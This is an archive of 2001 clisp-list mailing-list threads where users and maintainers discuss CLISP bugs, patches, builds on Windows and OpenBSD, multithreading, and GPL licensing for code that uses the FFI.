| I confirm this both on FreeBSD 3.3-RELEASE i386
| and Linux 2.2.19 i686.
| I wonder...

My parser is a bit off on a late night, does this mean you were able 
to reproduce it?

| (ANSI mode, of course, has nothing to do with this).
| 
| I see no reason to use :case :common here, BTW.
| I bet it is the cause of the problem!

When removing :case :common I get:

[2]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
:type "C") :host "CL-LIBRARY")
#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
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[3]> (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) 
:type "c") :host "CL-LIBRARY")
#S(LOGICAL-PATHNAME :HOST "CL-LIBRARY" :DEVICE NIL
   :DIRECTORY (:RELATIVE :WILD-INFERIORS) :NAME NIL :TYPE "c" :VERSION NIL)

Which seems right to me.  The :case :common code can probably
be removed, but I still think the behaviour is dubious in the
presence of :case :common.

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Is the proposed implementation supposed to allow multiple processors
to execute lisp code at the same time?  My guess is that it is not.
Can someone who is familiar with the issues please explain them or
post a reference?


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> * In message <200107220049.f6M0nRO28320@isis.cs3-inc.com>
> * On the subject of "[clisp-list] question on multithreading"
> * Sent on Sat, 21 Jul 2001 17:49:27 -0700
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
> Is the proposed implementation supposed to allow multiple processors
> to execute lisp code at the same time?  My guess is that it is not.
> Can someone who is familiar with the issues please explain them or
> post a reference?

the proposed implementation uses OS threads, i.e., if your OS can run
different threads of the same process on different processors, then
lisp code will be executed at the same time on different processors.

please see src/xthreads.d and doc/multithread.txt

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Sam Steingold writes:
 > > Is the proposed implementation supposed to allow multiple processors
 > > to execute lisp code at the same time?  My guess is that it is not.
 > > Can someone who is familiar with the issues please explain them or
 > > post a reference?
 > 
 > the proposed implementation uses OS threads, i.e., if your OS can run
 > different threads of the same process on different processors, then
 > lisp code will be executed at the same time on different processors.
 > 
 > please see src/xthreads.d and doc/multithread.txt

I realize that it's to be implemented with OS threads.  Unfortunately,
the ability to execute lisp code on multiple processors at the same
time does not follow from that.  For instance, Allegro CL now
implements its MP package with OS threads, but only one thread at a
time is (or at least was, last I heard) allowed access to the lisp
heap.  In this case the multiple threads are allowing you a multiple
process style of programming, but not an actual speedup with multiple
processors.  I believe there are good reasons for this restriction.  I
also believe they apply to clisp as well as Allegro.

I hope someone out there can clarify this further.


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Hello,

  I moved all stuff to version 2.27, where internal characters are in
  UTF-8, so some additions were required. However I can't do one
  thing, namely :

   An window-stream, used to console output should contain encoding
   information in extra field 'strm_encoding'. I'm trying to allocate
   additional memory for it in call to 'allocate_stream' and set that
   field to 'O(default_file_encoding)' for example. When I read this
   field in the call to wr_ch_window however I got something strange
   instead of encoding. Same situation with keyboard. So I moved that
   O's directly to stream processing functions.

  Diffs with 2.27 release sources are attached.

-- 
Best regards,
 Arseny

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> * In message <14962.010722@crosswinds.net>
> * On the subject of "[clisp-list] win32 SCREEN: implementation"
> * Sent on Sun, 22 Jul 2001 23:06:07 +1000
> * Honorable Arseny Slobodjuck <ampy@crosswinds.net> writes:
> 
>    An window-stream, used to console output should contain encoding
>    information in extra field 'strm_encoding'. I'm trying to allocate
>    additional memory for it in call to 'allocate_stream' and set that
>    field to 'O(default_file_encoding)' for example. When I read this
>    field in the call to wr_ch_window however I got something strange
>    instead of encoding. Same situation with keyboard. So I moved that
>    O's directly to stream processing functions.

you have commented out code with "TheStream(stream_)".
stream_ is a pointer to an object, not an object,
so the correct code is "TheStream(*stream_)"

>   Diffs with 2.27 release sources are attached.

Thanks.
Could you please supply a detailed ChangeLog entry?
In particular, why are you changing pathname.d?

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Hello,

Tuesday, July 24, 2001, 1:46:02 AM, you wrote:

SS> you have commented out code with "TheStream(stream_)".
SS> stream_ is a pointer to an object, not an object,
SS> so the correct code is "TheStream(*stream_)"
thanks

SS> Could you please supply a detailed ChangeLog entry?
SS> In particular, why are you changing pathname.d?

2001-07-18  Arseny Slobodjuck <ampy@crosswinds.net>

        * stream.d  [WIN32_NATIVE] (rd_ch_keyboard):
        changed test (..uAsciiChar <= ' ') to ((uintB)..uAsciiChar <= ' ')
        since uAsciiChar is signed in MSVC (!).
        'WIN' key added to translation table just to avoid 'unknown
        keyboard event' messages.
        added OEM to local charset translation and then local to internal
        (for UNICODE)
        WIN32 console output: 
        (InitConsole): GENERIC_READ is useless.
        (move_ccp_by): new function, moves cursor position
        (v_emit_spaces): helper function
        (v_put): processing Y overflow, subsequent output continues on
        the top of screen. It differs from DOS behavior where subsequent
        chars being written to bottom right of the screen (as far as I can
        see from code).
        (v_puts): new function, buffered console output.
        (wr_ch_array_window): new function instead of dummy which slowly
        works through v_put. Handles newlines and bottom of screen like 
        v_put does.
        (wr_ch_window): changed to handle UNICODE internal format
        (make_window): allocates and sets strm_encoding as
        default_file_encoding
        * pathname.d (legal_namechar)
        removed character codes 197 and 206 from illegal character code
        list as in CP1251 they are legal for pathnames. Wondering, why 
        that codes are there.
        
That what was done so far. However while I'm diving deeper into
charsets more problems appear. First, I can't access
custom:*TERMINAL-ENCODING* while custom:*PATHNAME-ENCODING* is
accessible. I didn't tried official build although.
I think encoding for keyboard input (through
*TERMINAL-IO*) and console output should be the same
(*TERMINAL-ENCODING*).




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Hello,

--- \2.27\ORIGINAL\init.lisp   Mon Jun 18 17:31:02 2001
+++ \2.27\CHANGED\init.lisp Wed Jul 25 01:01:42 2001
@@ -314,7 +314,7 @@
    *load-echo* *applyhook* *evalhook* *load-compiling* *compile-warnings*
    *ansi* *default-file-encoding* ; places.lisp
    #+UNICODE *misc-encoding*
-   #+UNICODE *t*germinal-encoding*
+   #+UNICODE *terminal-encoding*
    #+UNICODE *pathname-encoding*
    *source-file-types* *compiled-file-types*)
  "CUSTOM")


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Hi,

> * In message <450.010725@crosswinds.net>
> * On the subject of "Re[2]: [clisp-list] win32 SCREEN: implementation"
> * Sent on Wed, 25 Jul 2001 01:12:52 +1000
> * Honorable Arseny Slobodjuck <ampy@crosswinds.net> writes:
>
> Tuesday, July 24, 2001, 1:46:02 AM, you wrote:
> SS>

please do not abbreviate me as "SS".
this abbreviation has certain unsavory connotations,
especially for a Jew. 
I set "X-Attribution" header _specifically_ for supersite,
which is supposed to respect it.

> SS> so the correct code is "TheStream(*stream_)"
> thanks

I will wait for the next version of your patch, incorporating this.
(as well as an updated ChangeLog entry).
I suggest that you use CVS - get cygwin, it includes it.

>         * pathname.d (legal_namechar)
>         removed character codes 197 and 206 from illegal character code
>         list as in CP1251 they are legal for pathnames. Wondering, why 
>         that codes are there.

committed - thanks.

> First, I can't access custom:*TERMINAL-ENCODING* 

yeah - I fixed it (even before you sent your patch :-)
Thanks.

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Hello Sam,

Wednesday, July 25, 2001, 5:28:31 AM, you wrote:

Sam> please do not abbreviate me as "SS".
Sam> I set "X-Attribution" header _specifically_ for supersite,
Sam> which is supposed to respect it.
Ok, sorry, I understand.

Sam> I will wait for the next version of your patch, incorporating this.
Sam> (as well as an updated ChangeLog entry).
Yes, I going to polish all that.



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Hi

Using 2.27 on Gnu/Linux built at home.

What is custom:*t*germinal-encoding* ?

And where is custom:*terminal-encoding* ?

;-)

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Hi

Using 2.27 on Gnu/Linux, built at home.

Maybe these were included in the release (2.27) by mistake, since I
did not see them in the 'user-visible changes' list of the
announcement, but anyway:

META/ESC-n does not work in a multi-line form.
META/ESC-p does not seem to work properly.

If I type:

(defun foo (a b) <newline>
(list a b)) <newline>

foo gets defined and the entry gets stored in history so I can recall
the whole thing with C-p.  BUT ESC-p first moves the cursor to the
beginning of the line, and only then moves it to the line above.
ESC-n moves the cursor to the end of the line, and does _not_ move it
to the line below.

In addition, parenthesis matching does not work across lines.  Are
clispers supposed to count parens?

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> * In message <20010728110124.B353@localhost.localdomain>
> * On the subject of "[clisp-list] custom:*t*germinal-encoding*??"
> * Sent on Sat, 28 Jul 2001 11:01:24 +0200
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> Using 2.27 on Gnu/Linux built at home.
> What is custom:*t*germinal-encoding* ?
> And where is custom:*terminal-encoding* ?

fixed in the CVS - thanks for reporting the bug.

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> * In message <20010728105655.A353@localhost.localdomain>
> * On the subject of "[clisp-list] bug(s) in next-line-virtual"
> * Sent on Sat, 28 Jul 2001 10:56:55 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> Using 2.27 on Gnu/Linux, built at home.
> 
> Maybe these were included in the release (2.27) by mistake, since I
> did not see them in the 'user-visible changes' list of the

you are right - this should have been mentioned.

> announcement, but anyway:
> 
> META/ESC-n does not work in a multi-line form.
> META/ESC-p does not seem to work properly.
> 
> If I type:
> 
> (defun foo (a b) <newline>
> (list a b)) <newline>
> 
> foo gets defined and the entry gets stored in history so I can recall
> the whole thing with C-p.  BUT ESC-p first moves the cursor to the
> beginning of the line, and only then moves it to the line above.
> ESC-n moves the cursor to the end of the line, and does _not_ move it
> to the line below.

these work for me (more or less) on Solaris.
can you fix the problems you are observing?
see previous_line_virtual() and next_line_virtual() in stream.d

> In addition, parenthesis matching does not work across lines.  

please complain to the GNU Readline maintainer Chet Ramey
<chet@po.cwru.edu>. 


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On Sat, Jul 28, 2001 at 12:58:15PM -0400, Sam Steingold wrote:
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> > Using 2.27 on Gnu/Linux, built at home.
...
> > foo gets defined and the entry gets stored in history so I can recall
> > the whole thing with C-p.  BUT ESC-p first moves the cursor to the
> > beginning of the line, and only then moves it to the line above.
> > ESC-n moves the cursor to the end of the line, and does _not_ move it
> > to the line below.
> 
> these work for me (more or less) on Solaris.
> can you fix the problems you are observing?
> see previous_line_virtual() and next_line_virtual() in stream.d

My report was not quite accurate.  E-n moves to the end of the line
and no further, only if used in the first line.  So moving the cursor
back one space and then E-n _will_ move to the next line.

> > In addition, parenthesis matching does not work across lines.  
> 
> please complain to the GNU Readline maintainer Chet Ramey

I've just reported it to the readline bug address on their homepage.
If they fix it, I will try to make my readline functions for lisp
indentation use newlines instead of appending spaces when indenting.

I do need both paren matching and indentation on the console, so until
they fix it, I am just going to keep using my kludgy lisp-indentation
patch.

Regards,
Peter


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Paul Graham wrote:

> Sorry to be so long replying.  This got pushed down the
> mail stack.  I think I remember thinking that the 
> difference was due to the way compilation is done.
> In some interpreters, the macro call will be re-expanded 
> on each iteration.  See what happens when when you
> compile in both.  --pg


That's OK, and thank you. I find it out that the bad version of
recursive macro "nthb" can be interpreted and compiled happily by both
CMUCL and CLISP, only that CMUCL runs into endless loop when calling the
macro, while CLISP produces a result as the correct version.

Maybe one has to dig into the implementations to know the cause of the
difference. The important thing to know is which implementation is
taking the right action, CMUCL or CLISP.

Best!



> 
> --- Bruce <bruce253@163.net> wrote:
> 
>>Paul Graham wrote:
>>
>>
>>>Try using a variable instead of an integer as the first arg.
>>>
>>
>>[73]>(let ((a 2)) (nthb a '(1 2 3 4)))
>>
>> 3
>>
>>
>>No difference.
>>
>>
>>
>>>--- Bruce <bruce253@163.net> wrote:
>>>
>>>
>>>>Paul Graham wrote:
>>>>
>>>>
>>>>
>>>>>How are you calling the macro?  
>>>>>
>>>>>
>>>>In both CMUCL and CLISP, I call them interactively. Just now I put
>>>>them
>>>>in a file and loaded it. CMUCL kept on gcing when loading and CLISP
>>>>loaded fine. Then I can call (nthb 2 '(1 2 3 4)) in CLISP and get



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Could anyone familiar with setting up clisp on windows possibly advise this very green would-be user? I want it to load and use a package called Common Music Notation. So far I've got a clisp window with the lisp prompt, but it complains about lack of initialisation and installation, and the remedies it suggests have had no effect. When I try to load CMN it says "function PUSHNEW is undefined". Very grateful for any suggestions at all.

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I think both are correct.  I don't think the CL
standard explicitly says that it is an error to write a
macro that expands infinitely.  (Come to think of it, I
wonder if it says anywhere that it is an error to write
ordinary code that goes into an infinite loop.)  If the 
spec had, as it should, said that this was an error, then
implementations could do anything they wanted, unless
the spec said that implementations should *signal* an 
error.  

It would be good if Lisp specs were at least explicit on
what macroexpansion means: i.e. that it is equivalent to
calling a function that returns an s-expression.  That
would make the semantics of macros clearer.

It might actually be an interesting open question what
you should say in a language spec about infinite loops.
I suspect most finesse it.  You can't simply say all outer
loops that don't terminate are in error, or e.g. the
loop operator with no args would be itself illegal.

--pg

--- Bruce <bruce253@163.net> wrote:
> Paul Graham wrote:
> 
> > Sorry to be so long replying.  This got pushed down the
> > mail stack.  I think I remember thinking that the 
> > difference was due to the way compilation is done.
> > In some interpreters, the macro call will be re-expanded 
> > on each iteration.  See what happens when when you
> > compile in both.  --pg
> 
> 
> That's OK, and thank you. I find it out that the bad version of
> recursive macro "nthb" can be interpreted and compiled happily by
> both
> CMUCL and CLISP, only that CMUCL runs into endless loop when calling
> the
> macro, while CLISP produces a result as the correct version.
> 
> Maybe one has to dig into the implementations to know the cause of
> the
> difference. The important thing to know is which implementation is
> taking the right action, CMUCL or CLISP.
> 
> Best!
> 
> 
> 
> > 
> > --- Bruce <bruce253@163.net> wrote:
> > 
> >>Paul Graham wrote:
> >>
> >>
> >>>Try using a variable instead of an integer as the first arg.
> >>>
> >>
> >>[73]>(let ((a 2)) (nthb a '(1 2 3 4)))
> >>
> >> 3
> >>
> >>
> >>No difference.
> >>
> >>
> >>
> >>>--- Bruce <bruce253@163.net> wrote:
> >>>
> >>>
> >>>>Paul Graham wrote:
> >>>>
> >>>>
> >>>>
> >>>>>How are you calling the macro?  
> >>>>>
> >>>>>
> >>>>In both CMUCL and CLISP, I call them interactively. Just now I
> put
> >>>>them
> >>>>in a file and loaded it. CMUCL kept on gcing when loading and
> CLISP
> >>>>loaded fine. Then I can call (nthb 2 '(1 2 3 4)) in CLISP and get
> 
> 
> 
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> 
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Tom,
To my knowledge the "good parts" of common music (CM, CLM, CMN) are X Windows
based.
Also CMN which previewer uses X/Motif.
At least the clm-2 soundlib runs fine on windows.

maybe you can compile xcmnw.c with cygwin-xfree86, but that's a minefield.
And I don't know any Windows Motif libs. 
All the other libs are included in cygwin-xfree86.
  -L/usr/X11R6/lib -lXm -lXp -lXt -lXext -lX11 -lm, 
just Xm is missing.

the rest works fine, even with my very old clisp

> n:\usr\local\bin\clisp -M n:\usr\local\lib\lisp\lispinit.mem --version
CLISP 1999-07-22 (July 1999)

> n:\usr\local\bin\clisp -M n:\usr\local\lib\lisp\lispinit.mem 

[1]> (load "cmn-all.lisp")
;; Loading file cmn-all.lisp ...
Compiling file R:\lisp\cm\cmn\cmn-loop.lisp ...
...
...
;;  Loading file R:\lisp\cm\cmn\quarter.fas ...
;;  Loading of file R:\lisp\cm\cmn\quarter.fas is finished.
;; Loading of file cmn-all.lisp is finished.
T
[2]> (saveinitmem)
2830344 ;
707586
[3]> (in-package :cmn)
[4]> (cmn staff treble c4 q)
#<SCORE #x1A46E731>

...

tomroyall@lineone.net schrieb:
> Could anyone familiar with setting up clisp on windows possibly advise this very green would-be user? I want it to load and use a package called Common Music Notation. So far I've got a clisp window with the lisp prompt, but it complains about lack of initialisation and installation, and the remedies it suggests have had no effect. When I try to load CMN it says "function PUSHNEW is undefined". Very grateful for any suggestions at all.
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Hi, clispers.

I suppose this is an error in the documentation (file impnotes.html):
-------------------------------------------------------------------
(use-package :regexp)
(sexp ((h (make-hash-table :test #'equal :size 10)) (n 0))
  (with-open-file (f "/etc/passwd")
    (with-loop-split (s f ":")
      (let ((sh (seventh s)))
        (if (gethash sh h)
            (incf (gethash sh h))
            (setf (gethash sh h) 1)))))
  (with-hash-table-iterator (i h)
    (loop (multiple-value-bind (r k v) (i)
            (unless r (return))
            (format t "[~d] ~s~30t== ~5:d~%" (incf n) k v)))))
---------------------------------------------------------------

I believe the right version should be with "let" instead of "sexp".

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(Since this is evidently a real problem, not just a temporary 
problem with the current CVS state or something, I'll start discussing
it on the clisp mailing list instead of by private email.

On Mon, Jul 30, 2001 at 04:17:14PM -0400, Sam Steingold wrote:
> > I'm having some sort of dumb problem building CLISP, so I've gotten
> > nowhere bootstrapping SBCL under it.
> 
> :-)
> 
> > Before I tried working on it myself, I mentioned it on the sbcl-devel
> > mailing list, and Martin Atzmueller replied with some information.
> > I've included a copy below in case you don't read sbcl-devel.
> 
> no, I do not read sbcl-devel mailing list, but he CCed it to me.
> I would appreciate it if you CCed clisp-list all messages related to
> CLISP.  All CLISP bug reports should go there anyway (or the SF bug
> tool, if you wish)
> 
> > When I try to build CLISP on my system (OpenBSD 2.9) from a CVS
> > snapshot I downloaded about an hour ago, I get
> 
> what is a "CVS snapshot"?
> a result of `cvs up`?

Basically, yes. (It was actually a result of "cvs checkout", in this case.)
 
> > $ ./configure
> > ../configure[276]: test: /usr/local/src/clisp: unexpected operator/operand
> 
> this is unusual - I have never seen anything like this before, and I do
> not have an OpenBSD machine to investigate (actually, I have never used
> an OpenBSD box!)
> 
> neither the top-level ./configure, nor ./src/configure (which you should
> never run by have anyway) have a test statement on line 276

In the top-level "configure" file in my version, line 276 is 'fi'. That
'fi' corresponds to an 'if test -n "$srcdir" ; then'. I don't know exactly
how 'sh' does its error reporting but I'd guess that it's complaining about
the 'test' in the leading 'if' statement, or failing that, one of the other
'test' operations inside the 'if'. However, 'if test -n "$srcdir" ; then'
looks pretty reasonable to me, so I have no idea why 'sh' or 'test' would
complain about it.
 
> CLISP builds cleanly out of the box on win32, linux/x86, solaris and
> freebsd - all the machines I have regular access to.
> 
> Could you please investigate?
> 
> 1. get the current CVS CLISP from SF
> 2. do `./configure --build build` in the toplevel directory.

balefire:clisp/ $ cvs update ; beep
U src/readline/CHANGELOG
U src/readline/CHANGES

balefire:clisp/ $ date
Mon Jul 30 16:55:55 CDT 2001
balefire:clisp/ $ ./configure --build build
./configure[276]: test: /usr/local/src/clisp: unexpected operator/operand
./configure[280]: test: /usr/local/src/clisp/build: unexpected operator/operand
./configure[485]: [: /usr/local/src/clisp/build/readline: unexpected operator/operand
./configure[485]: [: /usr/local/src/clisp/build/gettext: unexpected operator/operand
./configure[485]: [: /usr/local/src/clisp/build/termcap: unexpected operator/operand
./configure[485]: [: /usr/local/src/clisp/build/readline: unexpected operator/operand
/usr/local/src/clisp/src
rm: /usr/local/src/clisp/build: is a directory

For good measure, I also went back to another piece of freeware in my 
/usr/local/src/ directory (cgoban-1.9.11) and ran its 'configure' script,
in case I'd somehow messed up my environment or exhausted some resource
or something. But the cgoban script ran without complaint.

I also did a simple experiment to try to check that I wasn't being
tripped up by some OpenBSD-specific quirk of 'sh' syntax parsing:

balefire:clisp/ $ /bin/sh
\h:\W/ $ if test -n 'zoo' ; then echo foo ; fi
foo
balefire:clisp/ $

I also got a fresh copy with

balefire:src/ $ cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co clisp

starting about 17:10 CDT, and tried "./configure --build build" again
with the fresh copy. It failed the same way as before.

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>>>>> "Reini" == Reini Urban <rurban@x-ray.at> writes:

    Reini> Tom,
    Reini> To my knowledge the "good parts" of common music (CM, CLM, CMN) are X Windows
    Reini> based.
    Reini> Also CMN which previewer uses X/Motif.
    Reini> At least the clm-2 soundlib runs fine on windows.

    Reini> maybe you can compile xcmnw.c with cygwin-xfree86, but that's a minefield.
    Reini> And I don't know any Windows Motif libs. 
    Reini> All the other libs are included in cygwin-xfree86.
    Reini>   -L/usr/X11R6/lib -lXm -lXp -lXt -lXext -lX11 -lm, 
    Reini> just Xm is missing.

Not really relevant to clisp, but for Xm, you could probably use
LessTif instead.  Should compile without problems on cygwin, but I've
never done that.

Ray


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> * In message <Pine.LNX.4.31.0107311714330.5319-100000@merlin.iacp.dvo.ru>
> * On the subject of "[clisp-list] regexp example in the doc"
> * Sent on Tue, 31 Jul 2001 17:15:53 +1100 (VLAST)
> * Honorable "Evgeni V. Trifonov" <trif@dvo.ru> writes:
>
> I suppose this is an error in the documentation (file impnotes.html):
> -------------------------------------------------------------------
> (sexp ((h (make-hash-table :test #'equal :size 10)) (n 0))
> ---------------------------------------------------------------
> 
> I believe the right version should be with "let" instead of "sexp".

fixed in the CVS - thanks!

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With clisp version "2000-03-06 (March 2000)", my attempt to use a
method combination other than STANDARD fails - 

[1]> (defgeneric depends-on (operation component) (:method-combination list))

*** - DEFGENERIC DEPENDS-ON: The only valid method combination is STANDARD : (:METHOD-COMBINATION LIST)

Is this fixed in any more recent version?  If not, is anyone working
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> * In message <87elqrmt0y.fsf@noetbook.telent.net>
> * On the subject of "[clisp-list] Other builtin method combinations"
> * Sent on 04 Aug 2001 22:09:33 +0100
> * Honorable Daniel Barlow <dan@telent.net> writes:
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> With clisp version "2000-03-06 (March 2000)", my attempt to use a
> method combination other than STANDARD fails - 
> 
> [1]> (defgeneric depends-on (operation component) (:method-combination list))
> 
> *** - DEFGENERIC DEPENDS-ON: The only valid method combination is STANDARD : (:METHOD-COMBINATION LIST)

this is documented in the impnotes.

> Is this fixed in any more recent version?
no.

> If not, is anyone working on it?
no, and help is welcome.

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> I've had some linking problems especially with MSVCRT and LIBC. As
> instructed in the Makefile, if I use MSVCRT I get __errno not defined
> error and if I use LIBC (single threaded) I get a different set of
> unresolved symbols. Has anybody built recent versions of clisp on
> Win32 ?

I am stuck with nt4sp6 and msvc 6 and I build CLISP regularly, without
any problems.

Please make sure that you do this:

set MSDEVDIR=C:\msvs
set Include=%MSDEVDIR%\VC98\include
set Lib=%MSDEVDIR%\VC98\lib
set PATH=%MSDEVDIR%\VC98\bin;%MSDEVDIR%\Common\MSDev98\Bin;%PATH%

cd utils\gcc-cccp
nmake -f Makefile.msvc clean
nmake -f Makefile.msvc
cd ..\..

cd ffcall
nmake -f Makefile.msvc clean
nmake -f Makefile.msvc check
cd ..

cd libiconv
nmake -f Makefile.msvc clean
nmake -f Makefile.msvc check
cd ..

cd sigsegv
nmake -f Makefile.msvc clean
nmake -f Makefile.msvc check
cd ..

copy win32msvc\makefile.msvc5 src\makefile
cd src
nmake clean
nmake

> BTW, I use VC 6.0 
yep.

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Hi

Using clisp-2.27, built myself, on a GNU/Linux system, with the
wildcard package present:

(directory #"*.[0-9]") returns nil, while the same wildcard string in
Bash gives all the files which have a numeric suffix.

I checked with clisp-2.26, and the result is the same, so maybe I am
using wildcards incorrectly for clisp???  The doc "wildcard.dvi" does
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(directory #"*.?") does what I expect - returns all the files with a
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> * In message <20010811121038.A314@localhost.localdomain>
> * On the subject of "[clisp-list] wildcard ranges"
> * Sent on Sat, 11 Aug 2001 12:10:38 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> Using clisp-2.27, built myself, on a GNU/Linux system, with the
> wildcard package present:
> 
> (directory #"*.[0-9]") returns nil, while the same wildcard string in
> Bash gives all the files which have a numeric suffix.
> 
> I checked with clisp-2.26, and the result is the same, so maybe I am
> using wildcards incorrectly for clisp???  The doc "wildcard.dvi" does
> say I can do this, though.

nope.  wildcard does not modify the CL standard functions, it just adds
"match" function.

to get the behavior you want you have to do something like

(delete-if-not (lambda (f) (match "..." f)) (directory "*"))

> (directory #"*.?") does what I expect - returns all the files with a
> one character suffix.

this is mandated by CLHS and does not depend on "wildcard".

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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED56E@pens0394.cnet.navy.Mil>
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> Does a IDE exists for CLISP?  

Emacs is good enough for me.

you are encouraged to write a better one :-)

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I don't have the time... I'm going to school, working full time, wife and
two small kids... I'm looking to tools to help me save time.  I'm using
CLISP in my dissertation and looking to ways to save time.  Maybe after
school is finished... (2 years)  

Randy
      

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> * In message
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>
> Does a IDE exists for CLISP?  

Emacs is good enough for me.

you are encouraged to write a better one :-)

-- 
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<P><FONT SIZE=3D2>I don't have the time... I'm going to school, working =
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save time.&nbsp; I'm using CLISP in my dissertation and looking to ways =
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<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Sam Steingold [<A =
HREF=3D"mailto:sds@gnu.org">mailto:sds@gnu.org</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, August 15, 2001 2:08 PM</FONT>
<BR><FONT SIZE=3D2>To: Justice, Randy -CONT(DYN)</FONT>
<BR><FONT SIZE=3D2>Cc: clisp-list@sourceforge.net</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [clisp-list] GUI</FONT>
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<P><FONT SIZE=3D2>&gt; * In message =
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<BR><FONT SIZE=3D2>&gt; * On the subject of &quot;[clisp-list] =
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<BR><FONT SIZE=3D2>&gt; * Honorable &quot;Justice, Randy =
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<BR><FONT SIZE=3D2>&gt; Does a IDE exists for CLISP?&nbsp; </FONT>
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<P><FONT SIZE=3D2>Emacs is good enough for me.</FONT>
</P>

<P><FONT SIZE=3D2>you are encouraged to write a better one :-)</FONT>
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<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Sam Steingold (<A =
HREF=3D"http://www.podval.org/~sds" =
TARGET=3D"_blank">http://www.podval.org/~sds</A>)</FONT>
<BR><FONT SIZE=3D2>Support Israel's right to defend herself! &lt;<A =
HREF=3D"http://www.i-charity.com/go/israel" =
TARGET=3D"_blank">http://www.i-charity.com/go/israel</A>&gt;</FONT>
<BR><FONT SIZE=3D2>Read what the Arab leaders say to their people on =
&lt;<A HREF=3D"http://www.memri.org/" =
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from COPYRIGHT file:
  This copyright does *not* cover user programs that run in CLISP, if
  they don't reference symbols in CLISP's built-in packages (except
  the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD),

So programs that use the FFI must be released under the GPL?  Thus it
follows that its illegal to produce a propritary program with a GUI using
CLISP?



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> * In message <15226.57031.400882.150661@ork.bomberlan.net>
> * On the subject of "[clisp-list] gpl + foreign functions"
> * Sent on Wed, 15 Aug 2001 13:42:47 -0700
> * Honorable Dave Morse <svref@yahoo.com> writes:
>
> from COPYRIGHT file:
>   This copyright does *not* cover user programs that run in CLISP, if
>   they don't reference symbols in CLISP's built-in packages (except
>   the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD),
> 
> So programs that use the FFI must be released under the GPL?

I think so.
[you appear to be using a pre-2.26 release.  2.27 is current.]

> Thus it follows that its illegal to produce a propritary program with
> a GUI using CLISP?

you can use sockets to communicate to a web browser
(like the portable CLOCC/CLLIB/inspect.lisp does). 

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Sam Steingold <sds@gnu.org> wrote:
> > * In message <15226.57031.400882.150661@ork.bomberlan.net>
> > * On the subject of "[clisp-list] gpl + foreign functions"
> > * Sent on Wed, 15 Aug 2001 13:42:47 -0700
> > * Honorable Dave Morse <svref@yahoo.com> writes:
> >
> > from COPYRIGHT file:
> >   This copyright does *not* cover user programs that run in CLISP, if
> >   they don't reference symbols in CLISP's built-in packages (except
> >   the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD),
> >
> > So programs that use the FFI must be released under the GPL?
> 
> I think so.

Lets face it, FFIs are a standard non-standard feature.  In that sense,
clisp's FFI package belongs to the list of packages above.

my $2f-2 worth.  



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> * In message <20010815144121.A11669@bomberlan.net>
> * On the subject of "Re: [clisp-list] gpl + foreign functions"
> * Sent on Wed, 15 Aug 2001 14:41:21 -0700
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>
> Sam Steingold <sds@gnu.org> wrote:
> > > from COPYRIGHT file:
> > >   This copyright does *not* cover user programs that run in CLISP, if
> > >   they don't reference symbols in CLISP's built-in packages (except
> > >   the packages LISP, USER, COMMON-LISP, COMMON-LISP-USER, KEYWORD),
> > >
> > > So programs that use the FFI must be released under the GPL?
> > 
> > I think so.
> 
> Lets face it, FFIs are a standard non-standard feature.
but they are incompatible between the implementations, so the code
written for CLISP will not run under CMUCL and ACL and vice versa.

> In that sense, clisp's FFI package belongs to the list of packages above.
I will let Bruno make a decision on that.

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I would like to thank the creators and maintainers of clisp for making a
common lisp implementation available for those trying to learn and
hopefully use what I am discovering is a fascinating and fun language,
one that I intend to use a lot in my own development, as it seems
designed for making stable programs quickly.

That aside, I am sure this has been found, but I am a poor sod using a
Windows2000 machine, and I had to fiddle around to make the install
batch file work.  In the end this is what I found was the problem:

The error was a win32 problem about not being able to find the path
specified, and so it could not create the batch file on the desktop.

That is because in win2k they have changed the location of the user's
profiles folder to being in the root directory instead of contained
within the winnt folder, and changed the name of the folder.

So in the install.lisp file starting at line 70
(let ((bat-file (merge-pathnames
                 "Documents and Settings/All Users/Desktop/clisp.bat"
                 (concatenate 'string "C:" "/"))))

In the original file it asked for the "windir" enviroment variable, but
that gives the winnt directory, not the root directory which if=20
the windir is "C\winnt" would just be "C:" at least in my case, and the
other change is that in the first merge-pathnames string=20
"Profiles" should be "Documents and Settings"

 (let ((bat-file (merge-pathnames
                 "Profiles/All Users/Desktop/clisp.bat"
                 (concatenate 'string (getenv "windir") "/"))))

The two are above to compare differences, and although I am sure this
has been solved, if not I hope it helps someone.  I would like to
mention at this point that it is a commendation to whoever wrote the
files I have been rooting around in, that they are so clearly written
that even a newbie to lisp such as myself could make sense enough to
make the changes necessary.

Thanks,=20

Rohan


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David Morse writes:

> So programs that use the FFI must be released under the GPL?

Yes, definitely. By using the FFI you are linking together GPLed C
code with your additions. So you must put your additions under the GPL
if you want to distribute them.

> In that sense, clisp's FFI package belongs to the list of packages above.

There is no need to change the copyright wording. If you link some
pieces of C code with clisp, and use some Lisp code that accesses it
through the FFI, and want to distribute that, then you have to put
both under GPL because

  - The GPL exception does not apply to your C code because it is not
    code that "runs in CLISP". It is rather code that is linked with
    CLISP.

  - The GPL exception does not apply to your Lisp code because it
    makes use of the non-standard FFI package.

Bruno


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> * In message <91E4C0798669A540B37F77B8DC0F5B9E0FB5C7@xray.informaat.com>
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> That is because in win2k they have changed the location of the user's
> profiles folder to being in the root directory instead of contained
> within the winnt folder, and changed the name of the folder.

interesting - this is not what I observe on a win2k professional here at
work. 

I changed install.lisp to use the registry to get the location of the
common desktop.

(dir-key-single-value :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" "Common Desktop")

should return your directory.

-- 
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Sam,

